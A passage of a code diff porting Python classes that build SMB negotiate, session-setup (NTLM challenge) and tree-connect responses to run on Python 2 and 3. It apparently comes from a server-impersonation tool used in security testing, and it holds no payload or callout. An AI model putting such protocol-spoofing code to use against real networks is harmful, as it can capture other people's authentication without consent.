self.fields["Server"] = self.fields["Server"].encode('utf-16le')
|
self.fields["Server"] = self.fields["Server"].encode('utf-16le')
|
||||||
CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"])
|
CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"])
|
||||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(CompleteBCCLen))
|
||||||
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
|
self.fields["Keylength"] = StructWithLenPython2or3("<h",len(self.fields["Key"]))[0]
|
||||||
|
|
||||||
class SMBNegoAns(Packet):
|
class SMBNegoAns(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -1033,18 +1048,18 @@ class SMBNegoAns(Packet):
|
||||||
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
|
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
|
||||||
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||||
|
|
||||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1))
|
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(CompleteBCCLen1))
|
||||||
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart))
|
self.fields["InitContextTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLenStart))
|
||||||
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
|
self.fields["ThisMechASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["ThisMechASNStr"])))
|
||||||
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
|
self.fields["SpNegoTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2))
|
||||||
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
|
self.fields["NegTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2)-2)
|
||||||
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
|
self.fields["NegTokenTag0ASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen))
|
||||||
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
|
self.fields["NegThisMechASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen)-2)
|
||||||
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
|
self.fields["NegThisMech4ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech4ASNStr"])))
|
||||||
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
|
self.fields["NegTokenTag3ASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len))
|
||||||
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
|
self.fields["NegHintASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len)-2)
|
||||||
self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4)
|
self.fields["NegHintTag0ASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len)-4)
|
||||||
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
self.fields["NegHintFinalASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
||||||
|
|
||||||
class SMBNegoKerbAns(Packet):
|
class SMBNegoKerbAns(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -1105,20 +1120,20 @@ class SMBNegoKerbAns(Packet):
|
||||||
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
|
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
|
||||||
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||||
|
|
||||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1))
|
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(CompleteBCCLen1))
|
||||||
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart))
|
self.fields["InitContextTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLenStart))
|
||||||
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
|
self.fields["ThisMechASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["ThisMechASNStr"])))
|
||||||
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
|
self.fields["SpNegoTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2))
|
||||||
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
|
self.fields["NegTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2)-2)
|
||||||
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
|
self.fields["NegTokenTag0ASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen))
|
||||||
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
|
self.fields["NegThisMechASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen)-2)
|
||||||
self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"])))
|
self.fields["NegThisMech1ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech1ASNStr"])))
|
||||||
self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"])))
|
self.fields["NegThisMech2ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech2ASNStr"])))
|
||||||
self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"])))
|
self.fields["NegThisMech3ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech3ASNStr"])))
|
||||||
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
|
self.fields["NegThisMech4ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech4ASNStr"])))
|
||||||
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
|
self.fields["NegTokenTag3ASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len))
|
||||||
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
|
self.fields["NegHintASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len)-2)
|
||||||
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
self.fields["NegHintFinalASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
||||||
|
|
||||||
class SMBSession1Data(Packet):
|
class SMBSession1Data(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -1197,13 +1212,13 @@ class SMBSession1Data(Packet):
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
###### Convert strings to Unicode
|
###### Convert strings to Unicode
|
||||||
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
|
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
|
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
|
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
|
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
|
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
|
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
|
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le')
|
self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le').decode('latin-1')
|
||||||
|
|
||||||
###### SecBlobLen Calc:
|
###### SecBlobLen Calc:
|
||||||
AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
|
AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
|
||||||
|
@ -1213,18 +1228,18 @@ class SMBSession1Data(Packet):
|
||||||
BccLen = AsnLen+CalculateSecBlob+str(self.fields["NTLMSSPNTLMPadding"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
|
BccLen = AsnLen+CalculateSecBlob+str(self.fields["NTLMSSPNTLMPadding"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
|
||||||
|
|
||||||
###### SecBlobLen
|
###### SecBlobLen
|
||||||
self.fields["SecBlobLen"] = struct.pack("<h", len(AsnLen+CalculateSecBlob))
|
self.fields["SecBlobLen"] = StructWithLenPython2or3("<h", len(AsnLen+CalculateSecBlob))
|
||||||
self.fields["Bcc"] = struct.pack("<h", len(BccLen))
|
self.fields["Bcc"] = StructWithLenPython2or3("<h", len(BccLen))
|
||||||
self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3)
|
self.fields["ChoiceTagASNIdLen"] = StructWithLenPython2or3(">B", len(AsnLen+CalculateSecBlob)-3)
|
||||||
self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6)
|
self.fields["NegTokenTagASNIdLen"] = StructWithLenPython2or3(">B", len(AsnLen+CalculateSecBlob)-6)
|
||||||
self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
|
self.fields["Tag1ASNIdLen"] = StructWithLenPython2or3(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
|
||||||
self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"])))
|
self.fields["Tag1ASNId2Len"] = StructWithLenPython2or3(">B", len(str(self.fields["Tag1ASNId2Str"])))
|
||||||
self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])))
|
self.fields["Tag2ASNIdLen"] = StructWithLenPython2or3(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])))
|
||||||
self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob))
|
self.fields["Tag3ASNIdLen"] = StructWithLenPython2or3(">B", len(CalculateSecBlob))
|
||||||
|
|
||||||
###### Andxoffset calculation.
|
###### Andxoffset calculation.
|
||||||
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen
|
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen
|
||||||
self.fields["Andxoffset"] = struct.pack("<h", len(CalculateCompletePacket)+32)
|
self.fields["Andxoffset"] = StructWithLenPython2or3("<h", len(CalculateCompletePacket)+32)
|
||||||
|
|
||||||
###### Workstation Offset
|
###### Workstation Offset
|
||||||
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||||
|
@ -1233,21 +1248,21 @@ class SMBSession1Data(Packet):
|
||||||
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
|
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
|
||||||
|
|
||||||
##### Workstation Offset Calculation:
|
##### Workstation Offset Calculation:
|
||||||
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
|
self.fields["NTLMSSPNtWorkstationBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation))
|
||||||
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
self.fields["NTLMSSPNtWorkstationLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||||
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
self.fields["NTLMSSPNtWorkstationMaxLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||||
|
|
||||||
##### IvPairs Offset Calculation:
|
##### IvPairs Offset Calculation:
|
||||||
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
|
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||||
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
self.fields["NTLMSSPNtTargetInfoLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
|
||||||
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
self.fields["NTLMSSPNtTargetInfoMaxLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
|
||||||
|
|
||||||
##### IvPair Calculation:
|
##### IvPair Calculation:
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
||||||
|
|
||||||
class SMBSession2Accept(Packet):
|
class SMBSession2Accept(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -1268,7 +1283,7 @@ class SMBSession2Accept(Packet):
|
||||||
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
|
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
|
||||||
self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le')
|
self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le')
|
||||||
BccLen = str(self.fields["SSPIAccept"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
|
BccLen = str(self.fields["SSPIAccept"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
|
||||||
self.fields["Bcc"] = struct.pack("<h", len(BccLen))
|
self.fields["Bcc"] = StructWithLenPython2or3("<h", len(BccLen))
|
||||||
|
|
||||||
class SMBSessEmpty(Packet):
|
class SMBSessEmpty(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -1293,10 +1308,10 @@ class SMBTreeData(Packet):
|
||||||
## Complete Packet Len
|
## Complete Packet Len
|
||||||
CompletePacket= str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["OptionalSupport"])+str(self.fields["MaxShareAccessRight"])+str(self.fields["GuestShareAccessRight"])+str(self.fields["Bcc"])+str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
|
CompletePacket= str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["OptionalSupport"])+str(self.fields["MaxShareAccessRight"])+str(self.fields["GuestShareAccessRight"])+str(self.fields["Bcc"])+str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
|
||||||
## AndXOffset
|
## AndXOffset
|
||||||
self.fields["Andxoffset"] = struct.pack("<H", len(CompletePacket)+32)
|
self.fields["Andxoffset"] = StructWithLenPython2or3("<H", len(CompletePacket)+32)
|
||||||
## BCC Len Calc
|
## BCC Len Calc
|
||||||
BccLen= str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
|
BccLen= str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
|
||||||
self.fields["Bcc"] = struct.pack("<H", len(BccLen))
|
self.fields["Bcc"] = StructWithLenPython2or3("<H", len(BccLen))
|
||||||
|
|
||||||
class SMBSessTreeAns(Packet):
|
class SMBSessTreeAns(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -1325,12 +1340,12 @@ class SMBSessTreeAns(Packet):
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
## AndxOffset
|
## AndxOffset
|
||||||
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
|
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
|
||||||
self.fields["AndXoffset"] = struct.pack("<i", len(CalculateCompletePacket)+32)[:2]
|
self.fields["AndXoffset"] = StructWithLenPython2or3("<i", len(CalculateCompletePacket)+32)[:2]
|
||||||
## BCC 1 and 2
|
## BCC 1 and 2
|
||||||
CompleteBCCLen = str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
|
CompleteBCCLen = str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
|
||||||
